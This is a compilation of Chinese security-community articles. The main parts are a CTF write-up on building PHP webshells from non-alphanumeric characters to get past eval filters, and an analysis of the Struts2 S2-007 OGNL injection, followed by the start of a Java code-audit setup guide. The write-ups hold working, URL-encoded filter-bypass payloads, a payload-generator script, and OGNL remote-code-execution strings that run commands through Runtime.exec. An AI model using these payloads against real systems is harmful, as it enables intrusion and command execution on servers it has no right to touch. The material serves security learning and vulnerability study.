* [Unicode CLDR](http://cldr.unicode.org/)
* [Unicode Security Considerations](http://www.unicode.org/reports/tr36/)
* [Unicode Security Mechanisms](http://www.unicode.org/reports/tr39/)
* [Unicode isn’t harmful for health – Unicode Myths debunked and encodings demystified](https://10kloc.wordpress.com/2013/08/25/plain-text-doesnt-exist-unicode-and-encodings-demystified/)
* [Unicode Security Guide](https://websec.github.io/unicode-security-guide/)
* [其实你并不懂 Unicode](https://zhuanlan.zhihu.com/p/53714077)
* [IDN Spoof漏洞自动化挖掘](https://lylemi.github.io/2018/12/08/idnfuzz/)
* [Unicode等价性浅谈](https://lylemi.github.io/2018/10/29/unicode-normalization/)
* [Unicode Security Issues FAQ](http://www.unicode.org/faq/security.html)
* [IDN Visual Security Deep Thinking](https://xlab.tencent.com/en/wp-content/uploads/2019/02/idn-visual-security-deep-thinking.pdf)
* [ASIS CTF 2019 Unicorn Shop Write-up](https://github.com/hyperreality/ctf-writeups/tree/master/2019-asis)
* [Black Hat](https://www.blackhat.com/presentations/bh-usa-09/WEBER/BHUSA09-Weber-UnicodeSecurityPreview-PAPER.pdf) | 社区文章 |
# 前言
在CTFShow的每周挑战中遇到了PHP无数字字母构造webshell的一系列题目，做了做发现我这个菜鸡不怎么会，所以对此类知识进行一个简单总结，希望能对正在学习的师傅有所帮助。
# 构造语句的几种方式
首先来看一下最原始的题
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
此时的话只是ban了数字和字母，然后这个时候的话想要构造webshell就需要用其他字符了，然后我们这里的话可以用位运算符中的取反、自增来做这个。
## 异或
这里需要先讲一点基础知识。
什么是异或，我们这里举一个例子，我们将字符`A`和`?`进行异或操作
<?php
echo 'A'^'?';
可以发现得到的结果是`~`，那么它是如何计算的呢，过程如下
首先将`A`和`?`分别转换为对应的ASCII码，A变为65，?变为63
然后将其转换为对应的二进制数，A变为`1000001`，1变为`111111`
接下来就进行运算，异或的运算规则是相同为0，不同为1
A: 1000001
1: 0111111(少一位，前面补0即可)
结果： 1111110
接下来将其二进制转换为对应十进制数，`1111110`对应的十进制数为`126`，根据ASCII码表可知126对应的是`~`，所以这个时候得到的字符就是`~`。
因此，我们利用这种思路，可以借助异或构造payload如下
$__=("#"^"|"); // _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
$$__[_]($$__[__]); // $_POST[_]($_POST[__]);
然后我们再取消一下换行符，将它合并于一行之中
$__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");$$__[_]($$__[__]);
最后进行一次URL编码（因为中间件会进行一次解码，所以我们这里需要手动编码一次），即可得最终payload
%24__%3D(%22%23%22%5E%22%7C%22)%3B%24__.%3D(%22.%22%5E%22~%22)%3B%24__.%3D(%22%2F%22%5E%22%60%22)%3B%24__.%3D(%22%7C%22%5E%22%2F%22)%3B%24__.%3D(%22%7B%22%5E%22%2F%22)%3B%24%24__%5B_%5D(%24%24__%5B__%5D)%3B
接下来本地简单测试一下，测试代码为
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
die("hacker!");
}
eval($code);
?>
但是这种方式如果自己去慢慢找的话，过程是极为缓慢的，想到我们异或一次不仅能构造出一个字符，也可以一次构造出多个字符，比如`('AB')^('11')`
此时就可以得到`qs`字符串，那我们这里是不是就可以构造一个脚本，通过一次异或运算得到我们想构造的字符串，比如`system`，那这里的话我们大体思路的话就有了
第一步：寻找未被过滤的字符
第二步：写入我们想构造的字符串，然后对它进行一个遍历，先获取第一个字符
第三步：用刚刚找到的未被过滤的字符进行一个遍历，看哪两个能够通过异或运算构造出第一个字符，同理得到后面的
第四步：输出时将字符进行一个URL编码，因为涉及到了部分不可见字符
这里想到之前在CTFShow命令执行系列中用过一个脚本与此类似，这里简单修改一下脚本，就可以达到我们想要的效果了，脚本如下
import re
import requests
import urllib
from sys import *
import os
a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围
c=chr(i)
#将i转换成ascii对应的字符，并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件，让变量c在其中找对应，并利用修饰符过滤大小写，这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时，那说明这些是被过滤掉的，所以才会被匹配到，此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i，这些就是未被系统过滤掉的字符
# eval("echo($c);");
mya="system" #函数名 这里修改！
myb="dir" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1，使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2，使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为（0，a）注：a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]^a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中，重新寻找第二个k，这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式，这样可以得到变量对应的值，再用'包裹，这样是变量的固定格式，另一个也是如此，两个在进行URL编码后进行按位与运算，然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)
接下来去尝试一下
## 自增
官方文档如下
<https://www.php.net/manual/zh/language.operators.increment.php>
当我们通过某种方法可以得到一个字符时，我们就可以通过自增来获取其他字符，比如现在我们获取到了`$_=A`，我们进行`$_++`，此时`$_`就变成了`B`，同理就可以构造出`GET`以及`POST`字符，接下来以例子来进行讲解,这里例题的话还用之前的demo
<?php
highlight_file(__FILE__);
$code = $_POST['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
我们首先可以写一个`[]`看一下
<?php
$_=[];
var_dump($_);
这个时候的话可以看到它就是一个数组，我们无法获取它的这个`Array`字符，那我们该怎么获取呢，我们尝试拼接一个数字
<?php
$_=[].'1';
var_dump($_);
这里看到输出的是`Array1`，我们这里是不允许出现数字的，但我们直接拼接个空是不是也是可行的呢，尝试一下
<?php
$_=[].'';
var_dump($_);
成功获取到了字符`Array`，然后我们获取想获取A的话，就可以采用`$_[0]`这种方式来获取，但我们是不能够写数字的，所以我们这里可以用一个判断,比如我们在`[]`里加一个`==$`，此时因为`空`和`$`不同，它就会输出`0`，此时也就等同于`$_[0]`，具体实现代码如下
<?php
$_=[];
$_=$_[''=='$'];
echo $_;
此时成功获取到了字符`A`，有了`A`，我们就可以通过自增依次获取其他字符，我们尝试获取一个字符`G`
<?php
$_=[];//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
var_dump($_);
然后看我们这里的代码的话，是`eval($code)`，所以我们就可以构造这种的`$_GET[1]($_GET[0])`，这个时候我们就可以`system(ls)`这种命令的执行，所以接下来的话就开始构造
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
接下来就可以尝试去给`_`和`__`GET传参，这里我们需要把换行的都去掉，然后进行一次URL编码，因为中间件会解码一次，所以我们构造的payload先变成这样
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
而后变成
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
此时去尝试赋值
成功执行了命令，输出了当前目录
## 取反
这个的话我们这里其实是利用了不可见字符，我们对一个字符进行两次取反，得到的还是其本身。当我们进行一次取反过后，对其进行URL编码，再对其进行取反，此时可以得到可见的字符，它的本质其实还是这个字符本身，然后因为取反用的多是不可见字符，所以这里就达到了一种绕过的目的。
这里的话利用一个php脚本即可获取我们想要的字符
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.urlencode(~$ans1));//通过两次取反运算得到system
$data2=('~'.urlencode(~$ans2));//通过两次取反运算得到dir
echo ('('.$data1.')'.'('.$data2.')'.';');
接下来为例尝试一下
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[a-zA-Z0-9]/",$code)){
die("hacker!");
}
eval($code);
?>
# 关于自增的一些知识点
## 知识点1
在自增中，可以通过特殊字符构造出字符串的有以下几种方式
[].'' //Array
(0/0).'' //NAN
(1/0).'' //INF
这个时候就有一个问题了，如果ban了数字，我们该怎么去构造`NAN`和`INF`呢，这个时候就需要讲到一个知识点，我们这里的话需要说一下这个`NAN`和`INF`
NaN（Not a Number，非数）是计算机科学中数值数据类型的一类值，表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。
INF：infinite，表示“无穷大”。 超出浮点数的表示范围（溢出，即阶码部分超过其能表示的最大值）。
这里可以看出`NAN`表示的是未被定义的值，所以我们这里可以通过`a/a`这种方式构造，如果字母也被ban，我们也可以借助其他字符，比如`_/_`，这个时候也可以得到`NAN`，同理，`INF`也可以通过`1/a`的方式获取。
## 知识点2
> 这里需要说明一下，笔者小白，对这个不太了解，然后可能这并不算什么知识点，还请各位大师傅多多担待
我们在构造`$_POST`中的`_`时，正常操作的话是这样，`$a='_'.$b(假设这里$b就是POST)`，然后这个时候如果`'`被ban，看似这里是无法再利用了，但其实，我们直接写`$a=_.$b`也是可以的，这个时候效果同上而且缩短了字符长度。
# CTF赛题实战
## CTFshow吃瓜杯[shellme_Revenge]
题目环境如下
<https://ctf.show/challenges#shellme_Revenge-1483>
进入环境后发现`phpinfo()`，找找有没有什么信息
搜索hint后发现
提示了`?looklook`，那我们这里可以猜出大概率是给了个访问的参数，我们在URL后加上`?looklook=1`，此时获取到源码
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
过滤了很多，`^`和`~`被过滤，所以异或和取反不可行，但可用的还有一些字符，`$ _ 1 2 3
C`这几个均未被过滤，所以我们这里可以尝试一下通过自增构造，这里限制了长度，要求长度小于`107`，所以我们这里的话使用构造较短的payload，`$_GET[0]($_GET[1])`这个相对来说较短，所以这里的话就可以尝试去构造这个payload，我一开始的payload总是不够短，参考了其他师傅的payload后最终构造如下
<?php
$_=C;
$_++;//D
$C1=++$_;//E
$_++;//F
$C=++$_.$C1;//GE
$_=(C/C.C)[0];//C/C即可得到NAN，但此时的它不是字符串，需要拼接一个字符才能变成字符串，然后第一位就是N
$_++;//O
$_++;//P
$_++;//Q
$_++;//R
$_++;//S
$_++;//T
$C=_.$C.$_;
$$C[1]($$C[2]);
var_dump($C);//$_GET[0]($GET[1])
我这里说一下这里缩短长度的几个点，首先一个就是获取字母，比如获取字符`E`那里，之前我写的话都是`$_++;$C1=$_`，这种相对来说长度就比较长了，当我们直接这样写，即`$C1=++$_`时，此时不仅`$C1`被赋值为`E`，同时`$_`也进行了一次自增，因为`++$_`是先做运算，再赋值的，所以这里是一个缩短长度的点。
然后第二个就是获取`T`这个字符，我们知道`T`在英语字母中是较靠后的，如果从前靠后只靠自增，字符就过长了，我们这里想到`NAN`这个字符`N`是离`T`较近的，所以我们可以尝试构造`N`然后再自增获取`T`，了解到`0/0`是`NAN`，这里的`C/C`也就是`NAN`，所以我们对他进行一个拼接后获取第一个字符就可以得到`N`，而后再通过自增即可获取`T`。
第三个点的话就是拼接`_GET`处，这里的`_`不用单引号直接拼接也是可以的，这样就省去了两个字符。
接下来将刚刚构造的payload删去换行这些，然后弄到一行后再进行URL编码，最终payload
GET:
1=passthru&2=ls /
POST:
ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_.%24C1%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24C%3D_.%24C.%24_%3B%24%24C%5B1%5D(%24%24C%5B2%5D)%3B
成功执行`ls /`命令，接下来读flag即可
## CTFShow[RCE挑战2]
环境如下
[https://ctf.show/challenges#RCE2](https://ctf.show/challenges#RCE%E6%8C%91%E6%88%982-3917)
进入靶场，代码如下
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这里的话可以看到`$`、`[]`、`'`以及`_`这几个字符是没有被ban的，所以这里我们可以同之前一样，以自增方式构造命令执行语句，直接利用上面的payload进行尝试
GET:
_=system&__=cat /f*
POST:
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
## CTFShow[RCE挑战3]
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这里限制了长度为105，然后看过滤的话这里的`^`和`~`被ban，所以继续用自增，然后这个时候考虑的`$_GET`中的`T`字符相对`G`和`E`来说是较靠后的，如果用自增获取会占用很多字符，所以这里可以去尝试构造`$_POST`，这四个字符相对来说还是挨的比较近的，所以我这里打算构造的语句是`$_POST[0]($_POST[1])`，接下来我们就可以去构造了。
首先的话，我们考虑到这个`POST`四个字符都是偏后的，同时我们这里是有数字`0`的，所以我们这里可以用`0/0`来获取`float(NAN)`，接下来需要把他转换为字符串，因为这个是无法利用的，然后我们这里可以看到`'`和`"`都被ban了，所以不能再用，不过我们这里拼接的话，其实随便拼接个什么都可以，我们这里拼接一个下划线也是可以的，所以第一步就有了
<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
这个时候就成功获取到了字符`N`，接下来就是先进行赋值获取一个`_`，然后再通过自增获取`POST`，最终的话得到的payload如下
<?php
$_=(0/0)._;//NAN
$_=$_[0];//N
$_1=++$_;//O ++$_是先进行自增，而后取值，所以这里$_1就是O
$__=_;//_ 首先获取_
$__.=++$_;//_P 通过自增获取P
$__.=$_1;//_PO 获取O
$_++;//Q
$_++;//R
$__.=++$_;//_POS 通过自增获取S
$__.=++$_;//_POST 通过自增获取T
$$__[0]($$__[1]);//$_POST[0]($_POST[1])
接下来将代码放入一行
$_=(0/0)._;$_=$_[0];$_1=++$_;$__=_;$__.=++$_;$__.=$_1;$_++;$_++;$__.=++$_;$__.=++$_;$$__[0]($$__[1]);
可以看到这里是103，小于105，接下来进行URL编码，然后去环境里尝试一下
成功执行`ls /`命令
## CTFShow[RCE挑战4]
源码如下
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
可以看到本题进一步限制了长度，要求长度小于84位，然后这里的话需要说一些缩短长度的方法。
首先就是我们之前得到字符`N`是这样的,`$_=(0/0)._;$_=$_[0];`，然后这个的话我们其实是可以进行一个缩短的，我们可以写成这个样子`$_0=(_/_._)[0];`,这个`(_/_._)`就可以直接得到`NAN`，然后我们再加上一个`[0]`，就可以缩短长度
然后其他就是对自增这些进行一下缩短，我构造的payload如下
<?php
$_0=(_/_._)[0];//NAN
$_=++$_0;//O
$__=_;//_
$__.=++$_.$_0;//_P
$_++;//Q
$_++;//R
$__.=++$_;//_POS
$__.=++$_;//_POST
$$__[0]($$__[_]);//$_POST[0]($_POST[_])
可是这个时候当我把他放到一行中，我发现它的长度是`91`，还是大于`84`，因此这个是不可用的，这个时候看到变量名`$_0`和`$__`占了两个单位长度，如果我们可以用一个字符来表示它，是不是就可以成功缩短长度呢，然后这个时候就考虑到可以使用不可见字符
然后我们在URL编码表中随便找两个，我这里就用`%DE`和`%DF`了，然后分别对变量名进行一个替换
<?php_
$%DF=(_/_._)[0];//NAN
$_=++$%DF;//O
$%DE=_;//_
$%DE.=++$_.$%DF;//_P
$_++;//Q
$_++;//R
$%DE.=++$_;//_POS
$%DE.=++$_;//_POST
$$%DE[0]($$%DE[_]);//$_POST[0]($_POST[_])
然后接下来写到一行中
$%DF=(_/_._)[0];$_=++$%DF;$%DE=_;$%DE.=++$_.$%DF;$_++;$_++;$%DE.=++$_;$%DE.=++$_;$$%DE[0]($$%DE[_]);
因为涉及到不可见字符，然后它是URL编码过的，所以我们这里不能使用整体编码，需要单独对部分内容进行URL编码，不过这里需要编码的也就是`++`，对`++`URL编码即可，因此最终payload如下
POST：
$%DF=(_/_._)[0];$_=%2B%2B$%DF;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE[0]($$%DE[_]);&0=system&_=cat /f*
## CTFShow[RCE挑战5]
源码如下
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
这里的话将数字全ban了，同时要求字符串长度小于`73`
然后这里的话根本没思路，参考过官方wp后，得知当`gettext`拓展开启时，`_()`就相当于`gettext()`，可以获取其中的内容，所以我们这里可以通过这种方式获取到字符`N`，然后我们构造的payload如下
<?php
$a=_(a/a)[a];//N
$_=++$a;//O
$b=_.++$a.$_;//_PO
$a++;//Q
$a++;//R
$b.=++$a.++$a;//_POST
$$b[a]($$b[_]);//$_POST[a]($_POST[_])
接下来用不可见字符分别替换`a`和`b`，然后放至一行之中，得到
$%DE=_(%DE/%DE)[%DE];$_=++$%DE;$%DF=_.++$%DE.$_;$%DE++;$%DE++;$%DF.=++$%DE.++$%DE;$$%DF[%DE]($$%DF[_]);
再对`++`进行URL编码，得到
$%DE=_(%DE/%DE)[%DE];$_=%2B%2B$%DE;$%DF=_.%2B%2B$%DE.$_;$%DE%2B%2B;$%DE%2B%2B;$%DF.=%2B%2B$%DE.%2B%2B$%DE;$$%DF[%DE]($$%DF[_]);
成功获取flag
# 参考链接
<https://blog.csdn.net/miuzzx/article/details/127830557>
<https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list>
<https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html>
<https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah> | 社区文章 |
本系列文章将详细分析 **Java** 流行框架 **Struts2** 的历史漏洞，今后关于 **Struts2** 新的漏洞分析，也将更新于
[Struts2-Vuln](https://github.com/Mochazz/Struts2-Vuln) 项目上。该系列仅是笔者初学
**Java代码审计** 的一些记录，也希望能够帮助到想学习 **Java代码审计** 的朋友 。如有任何问题，欢迎 **issue** 。分析文章均来自
[**个人博客**](https://mochazz.github.io) ，转载请注明出处。
## 漏洞概要
Struts2-007是一个远程代码执行漏洞。
影响版本： **Struts 2.0.0 - Struts 2.2.3**
。更多详情可参考官方通告：<https://cwiki.apache.org/confluence/display/WW/S2-007>
## 漏洞环境
Apache Tomcat/8.5.47+struts-2.0.8
下载地址：<http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip>
<https://github.com/vulhub/vulhub/tree/master/struts2/s2-007>
## 漏洞分析
在 **Struts2** 中，可以将 **HTTP** 请求数据注入到实际业务 **Action** 的属性中。而这些属性可以是任意类型的数据，通过
**HTTP** 只能获取到 **String** 类型数据，所以这里存在类型转换。我们可以通过 **xml**
文件，来定义转换规则。例如，我这里定义了一个 **UserAction** 类，其有一个 **Integer** 类型的 **age**
属性，这里我们让其数值范围在 **1-150** 。
如果此时我们将 **age** 属性值设置成一个字符串，那么就会引发类型转换错误。 **Struts2** 会将用户输入的数据经过处理再次返回给用户。
而在这个处理的过程中，就存在 **OGNL** 表达式注入。接下来，我们来看看具体的问题代码。我们先在
**ConversionErrorInterceptor:intercept()** 方法中打上断点(
**ConversionErrorInterceptor** 类是专门用来处理类型转换失败的拦截器)
当发生类型转换错误时，程序会将用户输入的值存入 **fakie** 变量。在存入之前，会先将值用 **getOverrideExpr**
方法处理，我们跟进该方法。
在 **getOverrideExpr** 方法中，会在用户输入的值两边拼接上单引号，然后再将值存入刚刚的 **fakie** 变量。
接着程序会把 **fakie** 变量存入 **OgnlValueStack.overrides** 变量中
然后在解析到 **Struts2** 结束标签时，会将用户输入值经过 **OGNL** 执行并返回。如果先前
**OgnlValueStack.overrides** 存储过相关字段，则会先从 **OgnlValueStack.overrides**
中取出相关值，然后再通过 **OGNL** 执行，代码执行也就发生在此处。
我们来尝试弹个计算器：
# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'
# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'
# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
## 漏洞修复
下图右边为官方修复后的代码（左图xwork-2.0.3，右图为xwork-2.2.3.1），可以看到新版本使用
**org.apache.commons.lang.StringEscapeUtils.escapeJava()** 来过滤字符串。
## 参考
<https://cwiki.apache.org/confluence/display/WW/S2-007> | 社区文章 |
# Java代码审计之入门篇（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
java代码审计系列是我很早之前就一直在筹备的，但是由于接触JAVA比较少，所以一直在积累各种相关经验，自己也用java写了一些web项目，
熟悉了一些框架的流程，才正式开始记录自己学习java代码审计的过程。
## 0x2 java环境相关的知识
1.JDK(Java Development Kit) 是针对java开发员的产品(SDK)，是整个java的核心。
组成:
* 开发工具位于bin子目录中， 指工具和实用程序，可帮助开发、执行、调试以java编程语言编写的程序，例如，编译器javac.exe 和解释器java.exe都位于该目录中
* java运行环境位于jre子目录中，window安装的时候会提示安装jre其实没必要，因为jdk包括了。 java运行环境包括java虚拟机、类库以及其他支持执行以java编程语言编写的程序的文件。
* 附加库位于lib子目录中， 开发工具所需的其他类库和支持文件
* C头文件
* 源代码
2.JRE(Java Runtime Environment) 是运行java程序所必须的环境集合，包含JVM标准、及java核心类库。
如果我们只是要运行java程序的话其实没必要安装jdk，只需要安装JRE就可以了。
3.JVM(Java Virtual Machine) java虚拟机是整个实现跨平台的最核心部分，能够运行以java语言编写的软件程序。
他们三者的关系，可以参考这个图
4.java平台
> * Java SE(java Platform, Standard Edition)
> 这是标准版，基础版本。允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web
> 服务开发的类。 通常拿来开发java的桌面软件
> * Java EE (Java Platform，Enterprise Edition): Java EE 是在Java
> SE的基础上构建的，他提供Web服务、组件模型、管理、通信API,用来实现企业级的面向服务体系结构和web2.0应用程序。
> * Java ME(Java Platform, Micro Edition): 为在移动设备和嵌入式设备(比如手机、PDA、 电视机顶盒和打印机)
> 上运行的运用程序提供一个健壮且灵活的环境
>
5.java服务器
(1) 常见的Java服务器: Tomcat 、 Weblogic、Jetty、JBoss、GlassFish等。
(2)Tomcat简介:
免费的开放源代码的web应用服务器，属于轻量级应用服务器，在中小型系统和并发访问等很多的场合下被普遍使用，是开发和调试JSP程序的首选。
6.项目管理和构建工具Maven
Maven是一种自动构建项目的方式，可以帮助我们自动从本地和远程仓库拉取关联的jar包
## 0x3 MAC下安装java环境
### 0x3.1 安装MYSQL及其驱动包
这个mac自带安装了MYSQL，所以我们只要安装对应的mysql的java驱动程序，放在tomcat的lib目录下就可以。
或者放在`WEB-INF`下的lib目录下也可以，具体看我后面的操作
因为我的mysql是`5.7.21 Homebrew` 所以我们需要用到5.x的jdbc
[Connector/J 5.1.48](https://dev.mysql.com/downloads/connector/j/5.1.html)
登陆注册之后
[访问下载](https://dev.mysql.com/get/Downloads/Connector-J/mysql-connector-java-5.1.48.zip)
### 0x3.2 安装Tomcat
首先去官网下载最新版Tomcat9,[offical
download](https://tomcat.apache.org/download-90.cgi)
改名放在`~/Library/Apachetomcat9`
xq17@localhost ~/Library/ApacheTomcat9 tree -L 1
.
├── BUILDING.txt
├── CONTRIBUTING.md
├── LICENSE
├── NOTICE
├── README.md
├── RELEASE-NOTES
├── RUNNING.txt //上面是使用文档和版权声明
├── bin //存放tomcat命令
├── conf // 存放tomcat配置信息，里面的server.xml是核心的配置文件
├── lib //支持tomcat软件运行的jar包和技术支持包(如servlet 和 jsp)
├── logs //运行时的日志信息
├── temp //临时目录
├── webapps //共享资源文件和web应用目录
└── work //tomcat的运行目录，jsp运行时产生的临时文件就存放在这里
我们修改下默认的启动端口,8080 改成9090，避免与我本地burp冲突
`/conf/server.xml`
处于安全性考虑，我们也需要配置下密码 `tomcat` `tomcat`
`conf/tomcat-user.xml`中`</tomcat-users>`上面加入如下代码
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
---
去`/conf/bin`目录进行安装
chmod u+x *.sh
./startup.sh
### 0x3.3 安装IDE
